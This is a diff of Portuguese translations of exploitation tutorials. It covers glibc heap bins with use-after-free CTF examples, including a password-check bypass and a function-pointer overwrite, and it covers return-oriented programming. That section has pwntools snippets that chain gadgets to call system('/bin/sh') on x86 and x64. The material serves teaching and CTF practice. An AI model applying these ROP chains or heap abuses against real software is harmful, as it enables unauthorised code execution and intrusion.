Quando você libera um pedaço de memória que não é um pedaço rápido, ele vai para o bin não ordenado. Este bin age como uma lista onde novos pedaços liberados são adicionados à frente (a "cabeça"). Quando você solicita um novo pedaço de memória, o alocador olha para o bin não ordenado de trás para frente (a "cauda") para encontrar um pedaço grande o suficiente. Se um pedaço do bin não ordenado for maior do que o necessário, ele é dividido, com a parte da frente sendo retornada e a parte restante permanecendo no bin.
|
Quando você libera um bloco de memória que não é um bloco rápido, ele vai para o bin não ordenado. Este bin atua como uma lista onde novos blocos liberados são adicionados à frente (a "cabeça"). Quando você solicita um novo bloco de memória, o alocador olha para o bin não ordenado a partir de trás (a "cauda") para encontrar um bloco que seja grande o suficiente. Se um bloco do bin não ordenado for maior do que o que você precisa, ele é dividido, com a parte da frente sendo retornada e a parte restante permanecendo no bin.
|
||||||
|
|
||||||
Exemplo:
|
Exemplo:
|
||||||
|
|
||||||
* Você aloca 300 bytes (`a`), então 250 bytes (`b`), libera `a` e solicita novamente 250 bytes (`c`).
|
* Você aloca 300 bytes (`a`), depois 250 bytes (`b`), libera `a` e solicita novamente 250 bytes (`c`).
|
||||||
* Quando você libera `a`, ele vai para o bin não ordenado.
|
* Quando você libera `a`, ele vai para o bin não ordenado.
|
||||||
* Se você então solicitar 250 bytes novamente, o alocador encontra `a` na cauda e o divide, retornando a parte que se encaixa na sua solicitação e mantendo o restante no bin.
|
* Se você solicitar 250 bytes novamente, o alocador encontra `a` na cauda e o divide, retornando a parte que atende ao seu pedido e mantendo o restante no bin.
|
||||||
* `c` estará apontando para o `a` anterior e preenchido com os dados do `a`.
|
* `c` apontará para o anterior `a` e será preenchido com os `a's`.
|
||||||
```c
|
```c
|
||||||
char *a = malloc(300);
|
char *a = malloc(300);
|
||||||
char *b = malloc(250);
|
char *b = malloc(250);
|
||||||
|
@ -37,13 +37,13 @@ char *c = malloc(250);
|
||||||
```
|
```
|
||||||
### Fastbins
|
### Fastbins
|
||||||
|
|
||||||
Fastbins são usados para pequenos pedaços de memória. Ao contrário dos bins não ordenados, os fastbins adicionam novos pedaços à cabeça, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá retirar da cabeça do fastbin.
|
Fastbins são usados para pequenos pedaços de memória. Ao contrário dos bins não ordenados, fastbins adicionam novos pedaços ao início, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá puxar do início do fastbin.
|
||||||
|
|
||||||
Exemplo:
|
Exemplo:
|
||||||
|
|
||||||
* Você aloca quatro pedaços de 20 bytes cada (`a`, `b`, `c`, `d`).
|
* Você aloca quatro pedaços de 20 bytes cada (`a`, `b`, `c`, `d`).
|
||||||
* Quando você os libera em qualquer ordem, os pedaços liberados são adicionados à cabeça do fastbin.
|
* Quando você os libera em qualquer ordem, os pedaços liberados são adicionados ao início do fastbin.
|
||||||
* Se você então solicitar um pedaço de 20 bytes, o alocador irá retornar o pedaço mais recentemente liberado da cabeça do fastbin.
|
* Se você então solicitar um pedaço de 20 bytes, o alocador retornará o pedaço mais recentemente liberado do início do fastbin.
|
||||||
```c
|
```c
|
||||||
char *a = malloc(20);
|
char *a = malloc(20);
|
||||||
char *b = malloc(20);
|
char *b = malloc(20);
|
||||||
|
@ -58,16 +58,16 @@ b = malloc(20); // c
|
||||||
c = malloc(20); // b
|
c = malloc(20); // b
|
||||||
d = malloc(20); // a
|
d = malloc(20); // a
|
||||||
```
|
```
|
||||||
## Outras Referências e Exemplos
|
## Outras Referências & Exemplos
|
||||||
|
|
||||||
* [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit)
|
* [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit)
|
||||||
* [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
* [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||||
* ARM64. Use after free: Gere um objeto de usuário, libere-o, gere um objeto que recebe o chunk liberado e permite escrever nele, **sobrescrevendo a posição de user->password** do anterior. Reutilize o usuário para **burlar a verificação de senha**
|
* ARM64. Use after free: Gere um objeto de usuário, libere-o, gere um objeto que receba o chunk liberado e permita escrever nele, **sobrescrevendo a posição de user->password** do anterior. Reutilize o usuário para **contornar a verificação de senha**
|
||||||
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
|
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
|
||||||
* O programa permite criar notas. Uma nota terá as informações da nota em um malloc(8) (com um ponteiro para uma função que pode ser chamada) e um ponteiro para outro malloc(\<size>) com o conteúdo da nota.
|
* O programa permite criar notas. Uma nota terá as informações da nota em um malloc(8) (com um ponteiro para uma função que pode ser chamada) e um ponteiro para outro malloc(\<size>) com o conteúdo da nota.
|
||||||
* O ataque seria criar 2 notas (nota0 e nota1) com conteúdos de malloc maiores do que o tamanho das informações da nota e, em seguida, liberá-las para que entrem no fast bin (ou tcache).
|
* O ataque seria criar 2 notas (note0 e note1) com conteúdos malloc maiores do que o tamanho das informações da nota e, em seguida, liberá-las para que entrem no fast bin (ou tcache).
|
||||||
* Em seguida, crie outra nota (nota2) com tamanho de conteúdo 8. O conteúdo estará na nota1, pois o chunk será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free na nota1 para chamar o novo ponteiro da função.
|
* Em seguida, crie outra nota (note2) com tamanho de conteúdo 8. O conteúdo vai estar em note1, pois o chunk será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free a note1 para chamar o novo ponteiro da função.
|
||||||
* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
|
* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
|
||||||
* É possível alocar alguma memória, escrever o valor desejado, liberá-lo, realocá-lo e como os dados anteriores ainda estão lá, eles serão tratados de acordo com a nova estrutura esperada no chunk, tornando possível definir o valor ou obter a flag.
|
* É possível alocar alguma memória, escrever o valor desejado, liberá-la, realocá-la e, como os dados anteriores ainda estão lá, serão tratados de acordo com a nova estrutura esperada no chunk, tornando possível definir o valor para obter a flag.
|
||||||
* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)
|
* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)
|
||||||
* Neste caso, é necessário escrever 4 dentro de um chunk específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo chunk alocado, seu número no índice do array é armazenado. Em seguida, aloque 4 chunks (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último chunk liberado, que é o que contém 4 dentro dele.
|
* Neste caso, é necessário escrever 4 dentro de um chunk específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo chunk alocado, seu número no índice do array é armazenado. Em seguida, aloque 4 chunks (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último chunk liberado, que é o que tem 4 dentro dele.
|
||||||
|
|
|
@ -1,57 +1,57 @@
|
||||||
# ROP - Programação Orientada a Retorno
|
# ROP - Programação Orientada a Retorno
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **Informações Básicas**
|
## **Informações Básicas**
|
||||||
|
|
||||||
**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget geralmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir uma carga útil para realizar operações arbitrárias, contornando efetivamente as proteções NX/DEP.
|
**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, contornando efetivamente as proteções NX/DEP.
|
||||||
|
|
||||||
### Como o ROP Funciona
|
### Como o ROP Funciona
|
||||||
|
|
||||||
1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, geralmente explorando um estouro de buffer para sobrescrever um endereço de retorno salvo na pilha.
|
1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um buffer overflow para sobrescrever um endereço de retorno salvo na pilha.
|
||||||
2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso poderia envolver configurar argumentos para uma chamada de função, chamar a função (por exemplo, `system("/bin/sh")`), e lidar com qualquer limpeza necessária ou operações adicionais.
|
2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver configurar argumentos para uma chamada de função, chamar a função (por exemplo, `system("/bin/sh")`), e lidar com qualquer limpeza ou operações adicionais necessárias.
|
||||||
3. **Execução da Carga Útil**: Quando a função vulnerável retorna, em vez de retornar para uma localização legítima, ela começa a executar a cadeia de gadgets.
|
3. **Execução do Payload**: Quando a função vulnerável retorna, em vez de retornar a um local legítimo, ela começa a executar a cadeia de gadgets.
|
||||||
|
|
||||||
### Ferramentas
|
### Ferramentas
|
||||||
|
|
||||||
Normalmente, gadgets podem ser encontrados usando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ou diretamente do **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
|
Normalmente, gadgets podem ser encontrados usando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ou diretamente do **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
|
||||||
|
|
||||||
## Cadeia ROP no Exemplo x86
|
## Exemplo de Cadeia ROP em x86
|
||||||
|
|
||||||
### **Convenções de Chamada x86 (32 bits)**
|
### **Convenções de Chamada x86 (32-bit)**
|
||||||
|
|
||||||
* **cdecl**: O chamador limpa a pilha. Os argumentos da função são empurrados para a pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empurrados para a pilha da direita para a esquerda.**
|
* **cdecl**: O chamador limpa a pilha. Os argumentos da função são empilhados na pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empilhados da direita para a esquerda.**
|
||||||
* **stdcall**: Semelhante ao cdecl, mas o callee é responsável por limpar a pilha.
|
* **stdcall**: Semelhante ao cdecl, mas o chamado é responsável por limpar a pilha.
|
||||||
|
|
||||||
### **Encontrando Gadgets**
|
### **Encontrando Gadgets**
|
||||||
|
|
||||||
Primeiramente, vamos assumir que identificamos os gadgets necessários dentro do binário ou de suas bibliotecas carregadas. Os gadgets de interesse são:
|
Primeiro, vamos supor que identificamos os gadgets necessários dentro do binário ou suas bibliotecas carregadas. Os gadgets que nos interessam são:
|
||||||
|
|
||||||
* `pop eax; ret`: Este gadget desempilha o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo controlar `EAX`.
|
* `pop eax; ret`: Este gadget retira o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo-nos controlar `EAX`.
|
||||||
* `pop ebx; ret`: Semelhante ao anterior, mas para o registrador `EBX`, possibilitando controle sobre `EBX`.
|
* `pop ebx; ret`: Semelhante ao acima, mas para o registrador `EBX`, permitindo controle sobre `EBX`.
|
||||||
* `mov [ebx], eax; ret`: Move o valor em `EAX` para a localização de memória apontada por `EBX` e então retorna. Isso é frequentemente chamado de **gadget write-what-where**.
|
* `mov [ebx], eax; ret`: Move o valor em `EAX` para o local de memória apontado por `EBX` e então retorna. Isso é frequentemente chamado de **gadget write-what-where**.
|
||||||
* Além disso, temos o endereço da função `system()` disponível.
|
* Além disso, temos o endereço da função `system()` disponível.
|
||||||
|
|
||||||
### **Cadeia ROP**
|
### **Cadeia ROP**
|
||||||
|
|
||||||
Usando o **pwntools**, preparamos a pilha para a execução da cadeia ROP da seguinte forma visando executar `system('/bin/sh')`, observe como a cadeia começa com:
|
Usando **pwntools**, preparamos a pilha para a execução da cadeia ROP da seguinte forma, visando executar `system('/bin/sh')`, note como a cadeia começa com:
|
||||||
|
|
||||||
1. Uma instrução `ret` para fins de alinhamento (opcional)
|
1. Uma instrução `ret` para fins de alinhamento (opcional)
|
||||||
2. Endereço da função `system` (supondo ASLR desativado e libc conhecida, mais informações em [**Ret2lib**](ret2lib/))
|
2. Endereço da função `system` (supondo ASLR desativado e libc conhecido, mais informações em [**Ret2lib**](ret2lib/))
|
||||||
3. Marcador de posição para o endereço de retorno de `system()`
|
3. Placeholder para o endereço de retorno da `system()`
|
||||||
4. Endereço da string `"/bin/sh"` (parâmetro para a função system)
|
4. Endereço da string `"/bin/sh"` (parâmetro para a função system)
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
@ -86,26 +86,26 @@ payload = fit({offset: rop_chain})
|
||||||
p.sendline(payload)
|
p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
## Exemplo de Cadeia ROP em x64
|
## ROP Chain in x64 Example
|
||||||
|
|
||||||
### **Convenções de chamada x64 (64 bits)**
|
### **x64 (64-bit) Calling conventions**
|
||||||
|
|
||||||
* Utiliza a convenção de chamada **System V AMD64 ABI** em sistemas semelhantes ao Unix, onde os **primeiros seis argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
|
* Usa a convenção de chamada **System V AMD64 ABI** em sistemas Unix-like, onde os **seis primeiros argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
|
||||||
* A convenção de chamada do **Windows x64** utiliza `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`.
|
* A convenção de chamada **Windows x64** usa `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`.
|
||||||
* **Registradores**: Os registradores de 64 bits incluem `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
|
* **Registradores**: registradores de 64 bits incluem `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
|
||||||
|
|
||||||
#### **Encontrando Gadgets**
|
#### **Finding Gadgets**
|
||||||
|
|
||||||
Para nosso propósito, vamos focar em gadgets que nos permitirão definir o registrador **RDI** (para passar a string **"/bin/sh"** como argumento para **system()**) e então chamar a função **system()**. Vamos assumir que identificamos os seguintes gadgets:
|
Para nosso propósito, vamos nos concentrar em gadgets que nos permitirão definir o registrador **RDI** (para passar a string **"/bin/sh"** como um argumento para **system()**) e então chamar a função **system()**. Vamos assumir que identificamos os seguintes gadgets:
|
||||||
|
|
||||||
* **pop rdi; ret**: Desempilha o valor do topo da pilha em **RDI** e então retorna. Essencial para definir nosso argumento para **system()**.
|
* **pop rdi; ret**: Retira o valor do topo da pilha para **RDI** e então retorna. Essencial para definir nosso argumento para **system()**.
|
||||||
* **ret**: Um retorno simples, útil para alinhamento de pilha em alguns cenários.
|
* **ret**: Um retorno simples, útil para alinhamento da pilha em alguns cenários.
|
||||||
|
|
||||||
E sabemos o endereço da função **system()**.
|
E sabemos o endereço da função **system()**.
|
||||||
|
|
||||||
### **Cadeia ROP**
|
### **ROP Chain**
|
||||||
|
|
||||||
Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP com o objetivo de executar **system('/bin/sh')** em **x64**:
|
Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP visando executar **system('/bin/sh')** em **x64**:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -143,76 +143,78 @@ p.interactive()
|
||||||
Neste exemplo:
|
Neste exemplo:
|
||||||
|
|
||||||
* Utilizamos o gadget **`pop rdi; ret`** para definir **`RDI`** como o endereço de **`"/bin/sh"`**.
|
* Utilizamos o gadget **`pop rdi; ret`** para definir **`RDI`** como o endereço de **`"/bin/sh"`**.
|
||||||
* Saltamos diretamente para **`system()`** após definir **`RDI`**, com o endereço de **`system()`** na cadeia.
|
* Pulamos diretamente para **`system()`** após definir **`RDI`**, com o endereço de **system()** na cadeia.
|
||||||
* O **`ret_gadget`** é usado para alinhamento se o ambiente de destino exigir, o que é mais comum em **x64** para garantir o alinhamento adequado da pilha antes de chamar funções.
|
* **`ret_gadget`** é usado para alinhamento se o ambiente alvo exigir, o que é mais comum em **x64** para garantir o alinhamento adequado da pilha antes de chamar funções.
|
||||||
|
|
||||||
### Alinhamento da Pilha
|
### Alinhamento da Pilha
|
||||||
|
|
||||||
**O ABI x86-64** garante que a **pilha esteja alinhada em 16 bytes** quando uma **instrução de chamada** é executada. **LIBC**, para otimizar o desempenho, **usa instruções SSE** (como **movaps**) que exigem esse alinhamento. Se a pilha não estiver alinhada corretamente (ou seja, **RSP** não é um múltiplo de 16), chamadas para funções como **system** falharão em uma **cadeia ROP**. Para corrigir isso, basta adicionar um **gadget ret** antes de chamar **system** em sua cadeia ROP.
|
**O ABI x86-64** garante que a **pilha esteja alinhada em 16 bytes** quando uma **instrução de chamada** é executada. **LIBC**, para otimizar o desempenho, **usa instruções SSE** (como **movaps**) que requerem esse alinhamento. Se a pilha não estiver alinhada corretamente (significando que **RSP** não é um múltiplo de 16), chamadas para funções como **system** falharão em uma **cadeia ROP**. Para corrigir isso, basta adicionar um **ret gadget** antes de chamar **system** em sua cadeia ROP.
|
||||||
|
|
||||||
## Diferença principal entre x86 e x64
|
## Principal diferença entre x86 e x64
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Como **x64 usa registradores para os primeiros argumentos**, muitas vezes requer menos gadgets do que x86 para chamadas de função simples, mas encontrar e encadear os gadgets corretos pode ser mais complexo devido ao aumento do número de registradores e ao maior espaço de endereçamento. O aumento do número de registradores e do maior espaço de endereçamento na arquitetura **x64** oferece tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto da Programação Orientada a Retorno (ROP).
|
Como **x64 usa registradores para os primeiros argumentos,** geralmente requer menos gadgets do que x86 para chamadas de função simples, mas encontrar e encadear os gadgets certos pode ser mais complexo devido ao aumento do número de registradores e ao maior espaço de endereçamento. O aumento do número de registradores e o maior espaço de endereçamento na arquitetura **x64** oferecem tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto da Programação Orientada a Retorno (ROP).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Exemplo de Cadeia ROP em ARM64
|
## Exemplo de cadeia ROP em ARM64
|
||||||
|
|
||||||
### **Noções Básicas do ARM64 & Convenções de Chamada**
|
### **Conceitos Básicos de ARM64 & Convenções de Chamada**
|
||||||
|
|
||||||
Verifique a seguinte página para obter essas informações:
|
Verifique a página a seguir para essas informações:
|
||||||
|
|
||||||
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||||
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Proteções Contra ROP
|
## Proteções Contra ROP
|
||||||
|
|
||||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/): Essas proteções tornam mais difícil o uso de ROP, pois os endereços dos gadgets mudam entre as execuções.
|
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Essas proteções dificultam o uso de ROP, pois os endereços dos gadgets mudam entre as execuções.
|
||||||
* [**Canários de Pilha**](../common-binary-protections-and-bypasses/stack-canaries/): Em caso de BOF, é necessário ignorar o canário de pilha para sobrescrever os ponteiros de retorno e abusar de uma cadeia ROP.
|
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Em caso de um BOF, é necessário contornar os canários da pilha para sobrescrever ponteiros de retorno e abusar de uma cadeia ROP.
|
||||||
* **Falta de Gadgets**: Se não houver gadgets suficientes, não será possível gerar uma cadeia ROP.
|
* **Falta de Gadgets**: Se não houver gadgets suficientes, não será possível gerar uma cadeia ROP.
|
||||||
|
|
||||||
## Técnicas Baseadas em ROP
|
## Técnicas baseadas em ROP
|
||||||
|
|
||||||
Observe que ROP é apenas uma técnica para executar código arbitrário. Com base em ROP, muitas técnicas Ret2XXX foram desenvolvidas:
|
Observe que ROP é apenas uma técnica para executar código arbitrário. Com base em ROP, muitas técnicas Ret2XXX foram desenvolvidas:
|
||||||
|
|
||||||
* **Ret2lib**: Usa ROP para chamar funções arbitrariamente de uma biblioteca carregada com parâmetros arbitrários (geralmente algo como `system('/bin/sh')`.
|
* **Ret2lib**: Usa ROP para chamar funções arbitrárias de uma biblioteca carregada com parâmetros arbitrários (geralmente algo como `system('/bin/sh')`.
|
||||||
|
|
||||||
{% content-ref url="ret2lib/" %}
|
{% content-ref url="ret2lib/" %}
|
||||||
[ret2lib](ret2lib/)
|
[ret2lib](ret2lib/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* **Ret2Syscall**: Usa ROP para preparar uma chamada a uma syscall, por exemplo, `execve`, e fazê-la executar comandos arbitrários.
|
* **Ret2Syscall**: Usa ROP para preparar uma chamada a uma syscall, por exemplo, `execve`, e fazer com que execute comandos arbitrários.
|
||||||
|
|
||||||
{% content-ref url="rop-syscall-execv/" %}
|
{% content-ref url="rop-syscall-execv/" %}
|
||||||
[rop-syscall-execv](rop-syscall-execv/)
|
[rop-syscall-execv](rop-syscall-execv/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* **EBP2Ret & EBP Chaining**: O primeiro abusará do EBP em vez do EIP para controlar o fluxo e o segundo é semelhante ao Ret2lib, mas neste caso o fluxo é controlado principalmente com endereços de EBP (embora também seja necessário controlar o EIP).
|
* **EBP2Ret & EBP Chaining**: O primeiro abusará do EBP em vez do EIP para controlar o fluxo e o segundo é semelhante ao Ret2lib, mas neste caso o fluxo é controlado principalmente com endereços EBP (embora também seja necessário controlar o EIP).
|
||||||
|
|
||||||
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
|
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
|
||||||
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Outros Exemplos e Referências
|
## Outros Exemplos & Referências
|
||||||
|
|
||||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
||||||
* 64 bits, Pie e nx habilitados, sem canário, sobrescreva RIP com um endereço `vsyscall` com o único propósito de retornar para o próximo endereço na pilha que será uma sobrescrita parcial do endereço para obter a parte da função que vaza a flag
|
* 64 bits, Pie e nx habilitados, sem canário, sobrescrever RIP com um endereço `vsyscall` com o único propósito de retornar ao próximo endereço na pilha, que será uma sobrescrição parcial do endereço para obter a parte da função que vaza a flag.
|
||||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||||
* arm64, sem ASLR, gadget ROP para tornar a pilha executável e saltar para shellcode na pilha
|
* arm64, sem ASLR, gadget ROP para tornar a pilha executável e pular para o shellcode na pilha.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
